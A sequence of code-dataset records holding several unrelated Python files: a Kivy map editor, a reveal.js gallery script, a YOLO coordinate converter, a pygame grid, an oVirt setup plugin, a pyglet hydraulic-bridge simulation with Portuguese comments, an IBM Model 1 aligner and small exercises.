str(self.map.name),multiline = False, size_hint = (None, None), size = [100, 25], padding = [3, 3, 3, 3])\n\t\tNMB = Button(text = \"Ok\", size_hint = (None, None), size = [40, 20])\n\t\tNMB.bind(on_press = lambda x: x)\n\t\tleftLayoutTop.add_widget(NM)\n\t\tleftLayoutTop.add_widget(self.NMTB)\n\t\tleftLayoutTop.add_widget(NMB)\n\t\t\n\t\t# Size label and button\n\t\tSZ = Label(text = \"Size:\", color = [0, 0, 0, 1], size_hint = (None, None), size = (60, 20))\n\t\tself.WH = Label(text = str(self.map.width) + \"x\" + str(self.map.height), color = (1, 0, 0, 1), size_hint = (None, None), size = (60, 20))\n\t\tSZB = Button(text = \"Change\", size_hint = (None, None), size = [60, 25])\n\t\tSZB.bind(on_press=self.changeProperties)\n\t\tleftLayoutTop.add_widget(SZ)\n\t\tleftLayoutTop.add_widget(self.WH)\n\t\tleftLayoutTop.add_widget(SZB)\n\t\t## END MAP PROPERTIES ##\n\n\t\t# Add the palette:\n\t\tself.palette = PaletteArea(cols = 1, \n\t\t\t\t\t\t\t\tspacing = [5], \n\t\t\t\t\t\t\t\tmainWindow = self)\n\t\tleftOptions.add_widget(self.palette)\n\t\t### END LEFT SIDEBAR ###\n\n\t\t### MAP AREA ###\n\t\tself.mapArea = MapArea(scroll_type = [\"bars\"], \n\t\t\t\t\t\t\t\t\tbar_width = 8, \n\t\t\t\t\t\t\t\t\tbar_color = [0, 0, 0, 1], \n\t\t\t\t\t\t\t\t\tbar_inactive_color = [0, 0, 0, .1], \n\t\t\t\t\t\t\t\t\tscroll_timeout = 0, \n\t\t\t\t\t\t\t\t\tmainWindow = self, \n\t\t\t\t\t\t\t\t\tmap = self.map)\n\t\tbottomLayout.add_widget(self.mapArea)\n\t\t### END MAP AREA ###\n\n\t\t### RIGHT SIDEBAR ###\n\t\trightOptions = GridLayout(cols = 1, size_hint = (None, 1), width = 175, padding = [5])\n\t\t\n\t\t## TILE OPTIONS ##\n\t\trightOptions.add_widget(Label(text = \"Tile Options\", size_hint = (1, None), height = 25, color = [0, 0, 0, 1]))\n\t\trightOptionsTop = GridLayout(cols = 1, size_hint = (1, 0.25))\n\t\t\n\t\t# Tile type dropdown:\n\t\t# All code for this dropdown is temporary, will be redone eventually\n\t\ttileTypeDirectory = join(installDirectory, \"source\", \"tiles\")\n\t\ttileTypeList = [f for f in listdir(tileTypeDirectory) if isfile(join(tileTypeDirectory, f))]\n\t\tself.tileTypeDropdown = DropDown()\n\t\tfor i in range(len(tileTypeList)):\n\t\t\tfileNameDisplay = tileTypeList[i][:-3]\n\t\t\ttypeButton = Button(text = fileNameDisplay, size_hint = (1, None), height = 25)\n\t\t\ttypeButton.bind(on_release = lambda button: self.chooseTileType(button))\n\t\t\tself.tileTypeDropdown.add_widget(typeButton)\n\t\ttileTypeDropdownButton = Button(text = tileTypeList[8][:-3], size_hint = (1, None), height = 25)\n\t\ttileTypeDropdownButton.bind(on_release = self.tileTypeDropdown.open)\n\t\tself.tileTypeDropdown.bind(on_select = lambda instance, x: setattr(tileTypeDropdownButton, \"text\", x))\n\t\trightOptionsTop.add_widget(tileTypeDropdownButton)\n\t\t\n\t\tadvOptnsBtn = Button(text = \"Advanced Options\", size_hint = (1, None), height = 25)\n\t\trightOptionsTop.add_widget(advOptnsBtn)\n\t\t\n\t\trightOptions.add_widget(rightOptionsTop)\n\t\t## END TILE OPTIONS ##\n\t\t\n\t\t## MAP OPTIONS ##\n\t\trightOptionsBottom = GridLayout(cols = 1)\n\t\trightOptionsBottom.add_widget(Label(text = \"Map Options\", size_hint = (1, None), height = 25, color = [0, 0, 0, 1]))\n\t\t\n\t\t# Zoom buttons:\n\t\tZoomLayout = GridLayout(cols = 2, size_hint = (1, None), height = 30)\n\t\trightOptionsBottom.add_widget(ZoomLayout)\n\t\t\n\t\tself.zoomInBtn = Button(text = \"Zoom In\")\n\t\tself.zoomInBtn.bind(on_press = lambda x: x)\n\t\tZoomLayout.add_widget(self.zoomInBtn)\n\t\t\n\t\tself.zoomOutBtn = Button(text = \"Zoom Out\")\n\t\tself.zoomOutBtn.bind(on_press = lambda x: x)\n\t\tZoomLayout.add_widget(self.zoomOutBtn)\n\t\t\n\t\t# Layer options\n\t\trightOptionsBottom.add_widget(Label(text = \"Layer Options\", color = (0, 0, 0, 1), size_hint = (1, None), height = 25))\n\t\t# Add / Delete layers:\n\t\tlayerOptions = GridLayout(cols = 3, size_hint = (1, None), height = 30)\n\t\trightOptionsBottom.add_widget(layerOptions)\n\t\t\n\t\tlayerOptions.add_widget(Label(text = \"Add layer after\", font_size = 13, color = (0, 0, 0, 1), size_hint = (None, None), size = (90, 20)))\n\t\t\n\t\tself.layerDropdown = DropDown()\n\t\tself.populateLayerDropdown()\n\t\t\n\t\tself.layerDropdownButton = Button(text = \"Layer 1\", size_hint = (None, None), size = (50, 20))\n\t\tself.layerDropdownButton.bind(on_release = self.layerDropdown.open)\n\t\tself.layerDropdown.bind(on_select = lambda instance, x: setattr(self.layerDropdownButton, \"text\", x))\n\t\tlayerOptions.add_widget(self.layerDropdownButton)\n\t\t\n\t\tOKBtn = Button(text = \"OK\", size_hint = (None, None), size = (25, 20))\n\t\tOKBtn.bind(on_press = lambda x: self.addLayer(int(self.layerDropdownButton.text.split(\" \")[1])))\n\t\tlayerOptions.add_widget(OKBtn)\n\t\t\n\t\tdeleteLayerButton = Button(text = \"Delete current layer\", size_hint = (1, None), height = 25)\n\t\tdeleteLayerButton.bind(on_press = lambda x: self.removeLayer(self.map.activeLayer))\n\t\trightOptionsBottom.add_widget(deleteLayerButton)\n\t\t\n\t\tlayerViewer = ScrollView(scroll_type = [\"bars\"], \n\t\t\t\t\t\t\t\t\t\tbar_width = 8, \n\t\t\t\t\t\t\t\t\t\tbar_color = [0, 0, 0, 1], \n\t\t\t\t\t\t\t\t\t\tbar_inactive_color = [0, 0, 0, .1], \n\t\t\t\t\t\t\t\t\t\tsize_hint = (1, 1), \n\t\t\t\t\t\t\t\t\t\tscroll_timeout = 0)\n\t\trightOptionsBottom.add_widget(layerViewer)\n\t\tself.layerContainer = FloatLayout(size_hint = (None, None), size = (125, 35 * self.map.layerCount))\n\t\tlayerViewer.add_widget(self.layerContainer)\n\t\tself.changeLayers(self.map.activeLayer)\n\t\t\n\t\trightOptions.add_widget(rightOptionsBottom)\n\t\t## END MAP OPTIONS ##\n\t\t\n\t\tbottomLayout.add_widget(rightOptions)\n\t\t### END RIGHT SIDEBAR ###\n\t\t\n\t\t# Phew... Done!\n\t\n\t### LAYER FUNCTIONS ###\n\t\n\t# Changes the active layer for drawing\n\tdef changeActiveLayer(self, layer, focus = True):\n\t\tif focus:\n\t\t\tlayer = int(layer)\n\t\t\t# Turn off the buttons for the old layer:\n\t\t\tif self.map.activeLayer != self.map.layerCount:\n\t\t\t\tself.layerWidgetList[self.map.activeLayer * 3 + 2].disabled = True\n\t\t\t\tself.layerWidgetList[self.map.activeLayer * 3 + 1].disabled = True\n\t\t\t# Turn on the buttons for the new layer:\n\t\t\tif layer != 0:\n\t\t\t\tself.layerWidgetList[layer * 3 + 2].disabled = False\n\t\t\tif layer != self.map.layerCount - 1:\n\t\t\t\tself.layerWidgetList[layer * 3 + 1].disabled = False\n\t\t\tself.map.activeLayer = layer\n\t\t\tself.mapArea.updateEntireMap()\n\t\n\tdef addLayer(self, index):\n\t\tself.mapArea.addLayer(index)\n\t\n\tdef removeLayer(self, layer):\n\t\tself.mapArea.removeLayer(layer)\n\t\n\t# Swaps two existing layers\n\tdef swapLayers(self, layer, direction):\n\t\tlayer = int(layer)\n\t\tdirection = int(direction)\n\t\tself.mapArea.swapLayers(layer, layer + direction)\n\t\n\t# Update contents of layer dropdown list after layers are added or removed\n\tdef populateLayerDropdown(self):\n\t\tself.layerDropdown.clear_widgets()\n\t\tfor i in range(self.map.layerCount):\n\t\t\tlayerButton = Button(text = \"Layer \" + str(int(i+1)), size_hint = (1, None), height = 25)\n\t\t\tlayerButton.bind(on_press = lambda button: self.layerDropdown.select(button.text))\n\t\t\tself.layerDropdown.add_widget(layerButton)\n\t\n\t# Updates layer list if layers are added or deleted\n\tdef changeLayers(self, newActiveLayer):\n\t\tself.layerWidgetList = []\n\t\tself.layerContainer.clear_widgets()\n\t\tself.layerContainer.height = 35 * self.map.layerCount\n\t\tfor i in range(self.map.layerCount):\n\t\t\tt1 = TextInput(text = \"Layer \" + str(i + 1), \n\t\t\t\t\t\t\treadonly = True, \n\t\t\t\t\t\t\tid = str(i), \n\t\t\t\t\t\t\tcursor_color = (1, 1, 1, 1), \n\t\t\t\t\t\t\tpadding = [6], \n\t\t\t\t\t\t\tsize_hint = (None, None), \n\t\t\t\t\t\t\tsize = (75, 30), \n\t\t\t\t\t\t\tpos = (self.layerContainer.width / 2 - 75/2, 35*i ))\n\t\t\tb1 = Button(text = \"^\", \n\t\t\t\t\t\t\tdisabled = True, \n\t\t\t\t\t\t\tid = str(i), \n\t\t\t\t\t\t\tsize_hint = (None, None), \n\t\t\t\t\t\t\tsize = (40, 16), \n\t\t\t\t\t\t\tpos = (t1.pos[0] + t1.size[0] - 1, t1.pos[1] + 14))\n\t\t\tb2 = Button(text = \"V\", \n\t\t\t\t\t\t\tdisabled = True, \n\t\t\t\t\t\t\tid = str(i), \n\t\t\t\t\t\t\tsize_hint = (None, None), \n\t\t\t\t\t\t\tsize = (40, 16), \n\t\t\t\t\t\t\tpos = (t1.pos[0] + t1.size[0] - 1, t1.pos[1] - 1))\n\t\t\tself.layerWidgetList.append(t1)\n\t\t\tself.layerWidgetList.append(b1)\n\t\t\tself.layerWidgetList.append(b2)\n\t\t\tt1.bind(focus = lambda input, focus: self.changeActiveLayer(input.id, focus))\n\t\t\tb1.bind(on_press = lambda x: self.swapLayers(x.id, 1))\n\t\t\tb2.bind(on_press = lambda x: self.swapLayers(x.id, -1))\n\t\t\tself.layerContainer.add_widget(t1)\n\t\t\tself.layerContainer.add_widget(b1)\n\t\t\tself.layerContainer.add_widget(b2)\n\t\tself.populateLayerDropdown()\n\t\tself.changeActiveLayer(newActiveLayer)\n\t\n\t### END LAYER FUNCTIONS ###\n\tdef load(self, file = None, popup = None):\n\t\t# Close and reset the popup if we received one\n\t\tif popup != None:\n\t\t\tpopup.dismiss()\n\t\t\tpopup.loadButton.disabled = True\n\t\t\tpopup.selectedFileLabel.text = \"\"\n\t\t# If a file was included, load that\n\t\tif type(file) == str:\n\t\t\tfilePath = join(installDirectory, \"maps\", file)\n\t\t\tfile = open(filePath, \"rb\")\n\t\t\tself.map = self.mapArea.map = MapData(oldMap = pickle.load(file))\n\t\t\tfile.close()\n\t\t# Otherwise, start a new blank map\n\t\telse:\n\t\t\tself.map = self.mapArea.map = MapData()\n\t\tself.IDTB.text = self.map.ID\n\t\tself.NMTB.text = self.map.name\n\t\t# Make the new render list, which will also render the new map, and set the active layer\n\t\tself.map.populateRenders()\n\t\tself.changeLayers(self.map.activeLayer)\n\t\t\n\tdef save(self, x):\n\t\tif self.map.ID == \"\": return print(\"I refuse to save a nameless map!\")\n\t\tsaveDirectory = join(installDirectory, \"maps\", self.map.ID + \".msf\")\n\t\tsaveFile = open(saveDirectory, \"wb\")\n\t\tpickle.dump(self.map, saveFile)\n\t\tsaveFile.close()\n\t\tprint(\"Map saved as\", self.map.ID + \".msf\")\n\t\n\tdef changeProperties(self, instance):\n\t\tpopup = PropertiesPopup(size = (347, 365), pos = (210, 300), mapWidth = self.map.width, mapHeight = self.map.height, auto_dismiss = False)\n\t\tpopup.acceptButton.bind(on_press = lambda x: self.updateMapDimensions(popup.sizeWestInput.text, popup.sizeNorthInput.text, popup.sizeEastInput.text, popup.sizeSouthInput.text, popup))\n\t\tpopup.open()\n\t\n\t# Updates the size of the map\n\tdef updateMapDimensions(self, west, north, east, south, popup = None):\n\t\tif popup != None: popup.dismiss()\n\t\tself.mapArea.updateMapDimensions(int(west), int(north), int(east), int(south))\n\t\tself.WH.text = str(self.map.width) + \"x\" + str(self.map.height)\n\t\nclass MainWindow(App):\n\tdef build(self):\n\t\t# width and height are that of the map, will depend on map later, random for now\n\t\tself.root = RootWidget(cols = 1)\n\t\t# listen to size and position changes\n\t\tself.root.bind(pos = self.updateLayout, size = self.updateLayout)\n\t\t\n\t\twith self.root.canvas.before:\n\t\t\tColor(0, 0, 0, 1)\n\t\t\tself.background = Rectangle()\n\t\t\tColor(1, 1, 1, 1)\n\t\t\tself.topRectangle = Rectangle()\n\t\t\tself.leftRectangle = Rectangle()\n\t\t\tself.centerRectangle = Rectangle()\n\t\t\tself.rightRectangle = Rectangle()\n\t\treturn self.root\n\t\t\n\tdef updateLayout(self, instance, value):\n\t\tself.background.pos = instance.pos\n\t\tself.background.size = instance.size\n\t\t\n\t\tself.topRectangle.size = [Window.width - 2, self.root.children[1].height]\n\t\tself.topRectangle.pos = [1, Window.height - self.topRectangle.size[1] - 1]\n\t\t\n\t\tself.leftRectangle.pos = [1, 1]\n\t\tself.leftRectangle.size = [self.root.children[0].children[2].width + 8, Window.height - self.topRectangle.size[1] - 3]\n\t\t\n\t\tself.rightRectangle.size = [self.root.children[0].children[0].width + 8, Window.height - self.topRectangle.size[1] - 3]\n\t\tself.rightRectangle.pos = [Window.width - self.rightRectangle.size[0] - 1, 1]\n\t\t\n\t\tself.centerRectangle.pos = [self.leftRectangle.size[0] + 2, 1]\n\t\tself.centerRectangle.size = [Window.width - self.rightRectangle.size[0] - self.leftRectangle.size[0] - 4, Window.height - self.topRectangle.size[1] - 3]\n\nif __name__ == \"__main__\":\n\tMainWindow().run()","sub_path":"source/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":15724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"559043416","text":"import glob\nfrom random import shuffle\n\n\ndef get_images():\n images = glob.glob(\"gallery/*.png\")\n shuffle(images)\n return images\n\n\ndef format_html(images):\n with open(\"reveal.js/index.html\", 'r') as template:\n lines = iter(template.readlines())\n\n stylesheet = \"\\n\"\n title = \"

Agents

\\n\"\n img = \"
\\n\"\n\n content = []\n for line in lines:\n if \"\" in line:\n content.append(\" \"*4 + stylesheet)\n elif \"
Slide 1
\" in line:\n content.append(\" \"*8 + title)\n for image in images:\n content.append(\" \"*8 + img.format(image))\n next(lines) # skip
Slide 2
\n else:\n content.append(line)\n\n return content\n\n\ndef write_html(content):\n with open(\"reveal.js/index.html\", 'w') as html:\n for line in content:\n html.write(line)\n\n\nif __name__ == '__main__':\n \n images = get_images()\n\n content = format_html(images)\n\n write_html(content)\n","sub_path":"exhibit.py","file_name":"exhibit.py","file_ext":"py","file_size_in_byte":1205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"506277628","text":"import os\n\ndef yolo_format(size, box):\n \"\"\"\n\n Args:\n size: size of the image [width, height]\n box: coordinates [[xmin,ymin], [xmax, ymax]]\n\n Returns: Converted yolo coordinates [[x,y], [w,h]]\n\n \"\"\"\n dw = 1. / size[0]\n dh = 1. / size[1]\n x = (box[0][0] + box[0][1]) / 2.0\n y = (box[1][0] + box[1][1]) / 2.0\n\n w = box[0][1] - box[0][0]\n h = box[1][1] - box[1][0]\n x = x * dw\n w = w * dw\n y = y * dh\n h = h * dh\n\n return [[x,y], [w,h]]\n","sub_path":"augmentit/formats/yolo.py","file_name":"yolo.py","file_ext":"py","file_size_in_byte":492,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"276552793","text":"#!/usr/bin/env python\nimport optparse\nimport sys\nfrom collections import defaultdict\n\ndef checkConvergence(t_now, t_old):\n \"\"\"\n check wether the translation probability is converged.\n returns true if it does.\n \"\"\"\n THRESHOLD = 0.15;\n if len(t_now) == 0: \n #First iteration\n return False\n sumsq = 0.0;\n for key in t_now:\n# sys.stderr.write(\"%s, %f, \" % (key, (t_now[key] - t_old[key])**2))\n sumsq += (t_now[key] - t_old[key])**2\n sys.stderr.write(\"sumsq: %f.\\n\" % sumsq)\n if THRESHOLD > sumsq:\n return True\n else:\n return False\n\ndef simpleAlignmentEst(t_prob, e, f):\n \"\"\"\n a simple, greedy alignment estimation from english to foreign sentence. A decoding method coming from hindi-english-word-alignment (http://code.google.com/p/hindi-english-word-alignment).\n \"\"\"\n alignment = []\n for i in range(len(e)):\n eword = e[i]\n best_align = (-1.0, -1)\n for j in range(len(f)):\n fword = f[j]\n if t_prob[eword , fword] > best_align[0]:\n best_align = (t_prob[eword , fword], j)\n alignment.append((best_align[1],i))\n return sorted(alignment)\n\ndef printBestAlignments(t_prob, bitext):\n \"\"\"\n Print all best alignments in the training data\n \"\"\"\n for (n, (f, e)) in enumerate(bitext):\n alignment = simpleAlignmentEst(t_prob, e, f)\n# print alignment\n for (f_i, e_i) in alignment:\n sys.stdout.write(\"%i-%i \" % (f_i, e_i))\n sys.stdout.write(\"\\n\")\n\noptparser = optparse.OptionParser()\noptparser.add_option(\"-b\", \"--bitext\", dest=\"bitext\", default=\"data/dev-test-train.de-en\", help=\"Parallel corpus (default data/dev-test-train.de-en)\")\noptparser.add_option(\"-n\", \"--num_sentences\", dest=\"num_sents\", default=sys.maxint, type=\"int\", help=\"Number of sentences to use for training and alignment\")\n(opts, _) = optparser.parse_args()\n\nsys.stderr.write(\"Training IBM model 1...\\n\")\n\nINIT_TRANS_PROB = 0.01\n#GIVEN = \">\"\n\nbitext = [[sentence.strip().split() for sentence in pair.split(' ||| ')] for pair in open(opts.bitext)][:opts.num_sents]\ncnt = 0\nt_now = {}\nt_old = None\n#set_e = set()\n#set_f = set()\n#while (not checkConvergence(t_now, t_old)) && cnt < 10:\nwhile cnt < 10:\n cnt += 1\n sys.stderr.write(\"\\n%i-th iteration.\" % cnt)\n\n count = {}\n total = {}\n \"\"\"\n In the following, n is the sentence order number (id, int), f is the German sentence (list of string), and e is the English sentence (list of string).\n \"\"\"\n for (n, (f, e)) in enumerate(bitext):\n# if cnt == 1:\n# #get all unique tokens in e and f.\n# set_e.update(set(e))\n# set_f.update(set(f))\n\n s_total = defaultdict(float)\n for eword in e:\n for fword in f:\n if t_now.get((eword, fword), 0.0) != 0.0:\n s_total[eword] += t_now[eword, fword]\n else:\n t_now[eword, fword] = INIT_TRANS_PROB\n s_total[eword] += t_now[eword, fword]\n# sys.stderr.write(\"s_total size: %i\" % (len(s_total)))\n #E\n for eword in e:\n for fword in f:\n if count.get((eword, fword), 0.0) == 0.0:\n count[eword, fword] = t_now[eword, fword] / s_total[eword]\n else:\n count[eword, fword] += t_now[eword, fword] / s_total[eword]\n if total.get(fword, 0.0) == 0.0:\n total[fword] = t_now[eword, fword] / s_total[eword]\n else:\n total[fword] += t_now[eword, fword] / s_total[eword]\n\n if n % 1000 == 0:\n sys.stderr.write(\".\")\n# t_old = t_now\n t_now = {}\n #M\n if cnt == 1:\n sys.stderr.write(\"count size: %i.\\n\" % len(count))\n for key in count:\n eword = key[0]\n fword = key[1]\n# sys.stderr.write(\"fword: %s.\\n\" % fword)\n if total.get(fword, 0.0) != 0.0:\n t_now[key] = count[key] / total[fword]\n\nprintBestAlignments(t_now, bitext)\n\n\n","sub_path":"hw1/ibm_model1.py","file_name":"ibm_model1.py","file_ext":"py","file_size_in_byte":4054,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"630606146","text":"def substitue(message, abreviation):\r\n list = message.split()\r\n mes_bis = message\r\n for i in range(len(list)):\r\n if list[i] in abreviation:\r\n mes_bis = mes_bis.replace(list[i], abreviation[list[i]])\r\n return mes_bis\r\n\r\nprint(substitue('C. N. cpt 2 to inf', {'C.' : 'Chuck',\r\n 'N.' : 'Norris',\r\n 'cpt' : 'counted',\r\n '2' : 'two times',\r\n 'inf' : 'infinity'}))","sub_path":"UpyLab 6.3.py","file_name":"UpyLab 6.3.py","file_ext":"py","file_size_in_byte":516,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"459171106","text":"#!/usr/bin/python\n\nimport sys\n\n# The cache parameter is here for if you want to implement a solution that is more efficient than the naive recursive solution.\n\n# Pattern Found - 1 1 2 4 7 13 24 44 81 149 274\n\ndef eating_cookies(n, cache=None):\n if cache == None:\n cache = [0 for i in range(n + 1)]\n \n if n == 0 or n == 1:\n return 1\n elif n == 2:\n return 2\n\n cache[0] = 1\n cache[1] = 1\n cache[2] = 2\n\n for num in range(3, n + 1):\n cache[num] = sum(cache[num - 3:num])\n \n return cache[n]\n\nif __name__ == \"__main__\":\n if len(sys.argv) > 1:\n num_cookies = int(sys.argv[1])\n print(\"There are {ways} ways for Cookie Monster to eat {n} cookies.\".format(ways=eating_cookies(num_cookies), n=num_cookies))\n else:\n print('Usage: eating_cookies.py [num_cookies]')","sub_path":"eating_cookies/eating_cookies.py","file_name":"eating_cookies.py","file_ext":"py","file_size_in_byte":784,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"223769653","text":"import pygame\n\nfrom src.pgassets.common.pgObject import pgObject\n\n\nclass pgGrid(pgObject):\n def __init__(self, pos, size, shape, objects, color=(0, 0, 0), borderwidth=0, transparent=True, bordercolor=(0, 0, 0)):\n pgObject.__init__(self, pos, size, color, borderwidth, transparent, bordercolor)\n self.shape = shape\n self.objects = objects\n\n # calculate grid\n h_offset, v_offset = 64, 64\n gap_x = (self.rect.width - self.shape[1]*self.objects[0].rect.width - 2*h_offset) / (self.shape[1] - 1)\n gap_y = (self.rect.height - self.shape[0]*self.objects[0].rect.height - 2*v_offset) / (self.shape[0] - 1)\n\n for j in range(self.shape[0]):\n for i in range(self.shape[1]):\n index = self.shape[1]*j + i\n self.objects[index].set_pos((int(self.rect.left + h_offset + i*gap_x + i*self.objects[index].rect.width),\n int(self.rect.top + v_offset + j*gap_y + j*self.objects[index].rect.height)))\n\n def collidepoint(self, pos: tuple):\n for o in self.objects:\n if o.collidepoint(pos):\n return o.id\n return 0\n\n def draw(self, screen: pygame.Surface):\n pgObject.draw(self, screen)\n for o in self.objects:\n o.draw(screen)\n","sub_path":"src/pgassets/common/pgGrid.py","file_name":"pgGrid.py","file_ext":"py","file_size_in_byte":1313,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"351364002","text":"#\n# ovirt-engine-setup -- ovirt engine setup\n# Copyright (C) 2013-2015 Red Hat, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n\n\n\"\"\"Connection plugin.\"\"\"\n\n\nimport gettext\n\n\nfrom otopi import util\nfrom otopi import plugin\n\nfrom ovirt_engine_setup.engine import constants as oenginecons\nfrom ovirt_engine_setup.dwh import constants as odwhcons\nfrom ovirt_engine_setup.engine_common import database\nfrom ovirt_engine_setup.engine_common \\\n import constants as oengcommcons\n\n\ndef _(m):\n return gettext.dgettext(message=m, domain='ovirt-engine-dwh')\n\n\n@util.export\nclass Plugin(plugin.PluginBase):\n \"\"\"Connection plugin.\"\"\"\n\n def __init__(self, context):\n super(Plugin, self).__init__(context=context)\n\n @plugin.event(\n stage=plugin.Stages.STAGE_CUSTOMIZATION,\n condition=lambda self: self.environment[\n odwhcons.CoreEnv.ENABLE\n ] and not self.environment.get(\n oengcommcons.ProvisioningEnv.POSTGRES_PROVISIONING_ENABLED\n ),\n before=(\n oengcommcons.Stages.DIALOG_TITLES_E_DATABASE,\n ),\n after=(\n oengcommcons.Stages.DIALOG_TITLES_S_DATABASE,\n oengcommcons.Stages.DB_OWNERS_CONNECTIONS_CUSTOMIZED,\n ),\n )\n def _engine_customization(self):\n dbovirtutils = database.OvirtUtils(\n plugin=self,\n dbenvkeys=oenginecons.Const.ENGINE_DB_ENV_KEYS,\n )\n dbovirtutils.getCredentials(\n name='Engine',\n queryprefix='OVESETUP_ENGINE_DB_',\n defaultdbenvkeys={\n 'host': '',\n 'port': '5432',\n 'secured': '',\n 'hostValidation': False,\n 'user': 'engine',\n 'password': None,\n 'database': 'engine',\n },\n show_create_msg=False,\n credsfile=(\n odwhcons.FileLocations.\n OVIRT_ENGINE_ENGINE_SERVICE_CONFIG_DATABASE\n ),\n )\n\n\n# vim: expandtab tabstop=4 shiftwidth=4\n","sub_path":"packaging/setup/plugins/ovirt-engine-setup/ovirt-engine-dwh/db/engine_connection.py","file_name":"engine_connection.py","file_ext":"py","file_size_in_byte":2538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"604899523","text":"# A única biblioteca externa utilizada foi a pyglet, que foi feita para renderizar gráficos \r\nimport pyglet \r\nfrom pyglet.window import key\r\n\r\n#Cria a janela\r\nwin = pyglet.window.Window(650, 350)\r\nwin.set_caption(\"Simulação de Ponte Hidráulica\")\r\n\r\n#Inicia o sistema de input do usuário\r\nkeys = key.KeyStateHandler() \r\nwin.push_handlers(keys)\r\n\r\n#Variaveis responsaveis por renderizar o desenho da ponte\r\nbatch = pyglet.graphics.Batch() \r\npistoes = pyglet.graphics.Batch()\r\ntextos = pyglet.graphics.Batch()\r\n\r\n#O que está sendo feito a baixo é um processo de criar formatos na tela, foi usado alguns blocos para desenhar a ponte\r\nchapa = pyglet.shapes.Rectangle(20, 172, 200, 15, (255, 255, 255), batch=batch)\r\nchapa.anchor_x = 15\r\nchapa.anchor_y = 7\r\nchapa2 = pyglet.shapes.Rectangle(395, 172, 200, 15, (255, 255, 255), batch=batch)\r\nchapa2.anchor_x = 185\r\nchapa2.anchor_y = 7\r\nbase = pyglet.shapes.Rectangle(10, 10, 30, 199, (255, 255, 255), batch=batch)\r\nbase2 = pyglet.shapes.Rectangle(375, 10, 30, 199, (255, 255, 255), batch=batch)\r\npistao = pyglet.shapes.Line(40, 30, 100, 100, 1, (255, 0 , 0), batch=pistoes)\r\npistao2 = pyglet.shapes.Line(375, 30, 100, 100, 1, (255, 0 , 0), batch=pistoes)\r\n\r\n#Variaveis\r\nvelocidade = 10 #velocidade angular da ponnte\r\nangulo_max = 45 #o maior angulo que a ponte pode rotacionar\r\nangulo_min = 0 #o menor angulo que a ponte pode rotacionar\r\n\r\n# Para desenhar os pistoes, foi utilizado duas coordenadas para cada ponta, \r\n# estas variaveis são as coordenadas que especificam aonde eles devem estar\r\npistao.x2 = 200-56 \r\npistao.y2 = 172-(15/2)\r\npistao2.x2 = 215+56\r\npistao2.y2 = 172-(15/2)\r\n\r\naltura_pistao = 18 #altura do pistão em cm\r\nforca_vertical = 0.98 #a força vertical, em newtons, que o pistão possui\r\n\r\n#Desenha o texto na tela como output para o usuário \r\ntamanho_pistoes = pyglet.text.Label('Altura do pistão: ', font_name='Calibri', font_size=13, x=420, y=310, batch=textos)\r\nvolume = pyglet.text.Label('Volume do pistão: ', font_name='Calibri', font_size=13, x=420, y=290, batch=textos)\r\nforce = pyglet.text.Label('Força vertical: ', font_name='Calibri', font_size=13, x=420, y=270, batch=textos)\r\nmassa = pyglet.text.Label('Carga máxima: ', font_name='Calibri', font_size=13, x=420, y=250, batch=textos)\r\n\r\n#Lógica de loop\r\ndef update(dt):\r\n global altura_pistao\r\n volume_valor = (altura_pistao - 18)*(3.1415*(1**2))*2.2 #calcula o volume do pistão \r\n forca_vertical = (((pistao.y2-12)/10)/altura_pistao)*0.98 #calcula a força vertical\r\n if volume_valor < 0: \r\n volume_valor = 0\r\n\r\n #Atualiza os textos da tela para a visualização do usuário\r\n volume.text = 'Volume do pistão: {:.2f} cm³'.format(volume_valor)\r\n tamanho_pistoes.text = 'Altura do pistão: {:.2f} cm'.format(altura_pistao)\r\n force.text = 'Força vertical: {:.2f} N'.format(forca_vertical)\r\n massa.text = 'Torque do pistão: {:.2f} N/m'.format(forca_vertical*0.13)\r\n\r\n #Caso o usuário aperte a tecla para cima, o pistão ira aumentar a altura e as chapas iram rotacionar\r\n #Caso a tecla para baixo seja pressionada, o oposto irá acontecer\r\n if keys[key.UP] and chapa2.rotation < angulo_max:\r\n chapa.rotation -= velocidade * dt\r\n chapa2.rotation += velocidade * dt\r\n pistao.x2 -= velocidade * dt\r\n pistao2.x2 += velocidade * dt\r\n pistao.y2 += velocidade * dt * 2\r\n pistao2.y2 += velocidade * dt * 2\r\n altura_pistao += 1.507 * dt\r\n elif keys[key.DOWN] and chapa2.rotation > angulo_min:\r\n chapa.rotation += velocidade * dt\r\n chapa2.rotation -= velocidade * dt\r\n pistao.x2 += velocidade * dt\r\n pistao2.x2 -= velocidade * dt\r\n pistao.y2 -= velocidade * dt * 2\r\n pistao2.y2 -= velocidade * dt * 2\r\n altura_pistao -= 1.507 * dt\r\n\r\n#Renderização\r\n@win.event\r\ndef on_draw():\r\n win.clear()\r\n pistoes.draw()\r\n batch.draw()\r\n textos.draw()\r\n\r\n#Final\r\npyglet.clock.schedule_interval(update, 1/60.0)\r\npyglet.app.run()","sub_path":"ponte_simulacao.py","file_name":"ponte_simulacao.py","file_ext":"py","file_size_in_byte":4005,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"224234215","text":"##Todo create a sitePlot object interface and load it once in memory?\nimport os\nimport numpy\nimport json\nfrom django.http import HttpResponse, Http404\nfrom django.shortcuts import render\nfrom xbd.models import *\nimport linecache\nimport numpy as np\n\n\ngeneExprFile = 